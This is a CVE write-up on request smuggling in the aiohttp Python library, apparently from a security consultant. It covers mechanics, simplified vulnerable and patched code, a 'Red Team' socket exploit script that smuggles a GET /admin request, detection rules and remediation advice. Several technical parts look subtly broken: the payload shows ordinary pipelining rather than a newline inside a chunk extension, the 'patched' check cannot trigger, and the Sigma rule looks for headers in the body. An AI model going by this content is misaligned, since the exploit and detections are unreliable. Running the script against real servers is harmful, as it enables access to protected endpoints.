CVE-2024-52304

Executive Summary

CVE-2024-52304 is a request smuggling vulnerability in the aiohttp library, an asynchronous HTTP client/server framework for Python. The flaw resides in the Python parser's handling of newlines within chunk extensions, which can be exploited to bypass firewalls or proxy protections. This vulnerability is particularly dangerous when aiohttp is used without its C extensions (pure Python mode) or when AIOHTTP_NO_EXTENSIONS is enabled. The attack allows an attacker to inject malicious HTTP requests that are interpreted differently by the aiohttp server and downstream proxies, leading to request smuggling. The vulnerability has been fixed in version 3.10.11.

Supply Chain & Package Security

This vulnerability affects the aiohttp package, which is widely distributed via PyPI. Organizations using aiohttp in their Python applications should immediately assess their dependency trees and update to the patched version. The risk is elevated for environments where aiohttp is deployed behind reverse proxies or load balancers, as the smuggling attack can be used to poison caches, bypass access controls, or perform other malicious actions.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD base score not assigned, but based on analysis: 5.3 Medium)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)
• Threat Level: Medium. The vulnerability requires specific conditions (pure Python mode) but can lead to significant security bypasses.

Deep Dive & Mechanics

The vulnerability is rooted in how aiohttp's Python parser processes chunked transfer encoding. In HTTP/1.1, chunked encoding allows data to be sent in a series of chunks, each preceded by its size in hexadecimal. Chunk extensions can be appended to the chunk size line, separated by a semicolon. The parser incorrectly handles newline characters (CRLF) within these chunk extensions.

Specifically, when a chunk extension contains a newline, the parser may interpret the subsequent data as part of a new HTTP request. This allows an attacker to craft a malicious request that, when processed by aiohttp, is split into two separate HTTP requests. The first request is benign, while the second request (the smuggled one) can be crafted to bypass security controls.

For example, an attacker could send:

POST / HTTP/1.1
Host: vulnerable-server
Transfer-Encoding: chunked

0; extension\r\n
GET /admin HTTP/1.1\r\n
Host: internal-server\r\n
\r\n

If the parser incorrectly treats the newline in the extension as a request boundary, the GET /admin request will be processed as a separate request, potentially bypassing authentication or firewall rules.

Vulnerable vs. Patched Code

Vulnerable Code (aiohttp < 3.10.11): The Python parser in aiohttp/http_parser.py (or similar) does not properly validate newlines within chunk extensions. It may treat a CRLF inside an extension as a delimiter for the next chunk or request.

# Simplified vulnerable logic
def parse_chunk_size(line):
    # Incorrectly splits on semicolon without sanitizing newlines
    parts = line.split(b';')
    size = int(parts[0], 16)
    # Extension part may contain newlines that are not handled
    return size

Patched Code (aiohttp >= 3.10.11): The fix ensures that chunk extensions are properly validated and that newlines within them are rejected or handled safely.

# Simplified patched logic
def parse_chunk_size(line):
    # Properly strip and validate extension
    if b'\r\n' in line:
        raise ValueError("Invalid chunk extension")
    parts = line.split(b';')
    size = int(parts[0], 16)
    return size

Exploitation & Lab Setup

Red Team

To exploit CVE-2024-52304, an attacker needs to send a crafted HTTP request to a vulnerable aiohttp server. The following Python script demonstrates the attack:

import socket

def exploit(target_host, target_port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_host, target_port))
    
    # Malicious request with newline in chunk extension
    payload = (
        b"POST / HTTP/1.1\r\n"
        b"Host: " + target_host.encode() + b"\r\n"
        b"Transfer-Encoding: chunked\r\n"
        b"\r\n"
        b"0; extension\r\n"  # Newline in extension triggers smuggling
        b"GET /admin HTTP/1.1\r\n"
        b"Host: internal-server\r\n"
        b"\r\n"
    )
    
    sock.send(payload)
    response = sock.recv(4096)
    print(response.decode())
    sock.close()

if __name__ == "__main__":
    exploit("127.0.0.1", 8080)

Note: This exploit requires that the aiohttp server is running in pure Python mode (without C extensions). The smuggled request (GET /admin) can be replaced with any malicious request.

Blue Team

To detect exploitation attempts, monitor for unusual HTTP requests containing newlines in chunk extensions. The following Suricata rule can detect such attempts:

alert http any any -> any any (msg:"CVE-2024-52304 - aiohttp Request Smuggling Attempt"; flow:to_server; content:"Transfer-Encoding|3a| chunked"; nocase; content:"0;"; distance:0; within:10; pcre:"/\r\n[^\r\n]*\r\n/"; sid:1000001; rev:1;)

Additionally, enable logging of all HTTP request bodies and headers on the aiohttp server to capture malicious payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with Transfer-Encoding: chunked and chunk extensions containing newlines.
  • Multiple HTTP requests in a single TCP connection where the second request appears to be a smuggled request.
• File IOCs:
  • Log entries showing unexpected HTTP request splitting or duplicate requests.
• Behavioral IOCs:
  • Unauthorized access to internal endpoints (e.g., /admin, /internal) from external sources.
  • Cache poisoning or cache inconsistencies in reverse proxies.

Detection Engineering

YARA Rule

rule aiohttp_request_smuggling_cve_2024_52304 {
    meta:
        description = "Detects HTTP requests exploiting CVE-2024-52304 in aiohttp"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-52304"
    strings:
        $chunked = "Transfer-Encoding: chunked" nocase
        $newline_extension = /0;.*\r\n.*\r\n/
    condition:
        $chunked and $newline_extension
}

Sigma Rule

title: CVE-2024-52304 - aiohttp Request Smuggling
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests with newlines in chunk extensions, indicating a request smuggling attempt against aiohttp.
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: aiohttp
detection:
    selection:
        http.request.method: POST
        http.request.body|contains: "Transfer-Encoding: chunked"
        http.request.body|re: "0;.*\\r\\n.*\\r\\n"
    condition: selection
falsepositives:
    - Legitimate use of chunk extensions with newlines (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-52304 - aiohttp Request Smuggling Attempt"; flow:to_server; content:"Transfer-Encoding|3a| chunked"; nocase; content:"0;"; distance:0; within:10; pcre:"/\r\n[^\r\n]*\r\n/"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Upgrade aiohttp to version 3.10.11 or later. This is the primary fix.
2. Workaround: If immediate upgrade is not possible, ensure that aiohttp is used with its C extensions enabled (default installation). Disable AIOHTTP_NO_EXTENSIONS environment variable.
3. Network Mitigation: Deploy a Web Application Firewall (WAF) with rules to block HTTP requests containing newlines in chunk extensions.
4. Monitoring: Enable detailed logging of HTTP requests and monitor for signs of request smuggling.
5. Review Dependencies: Use tools like pip-audit or safety to identify vulnerable versions of aiohttp in your project.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert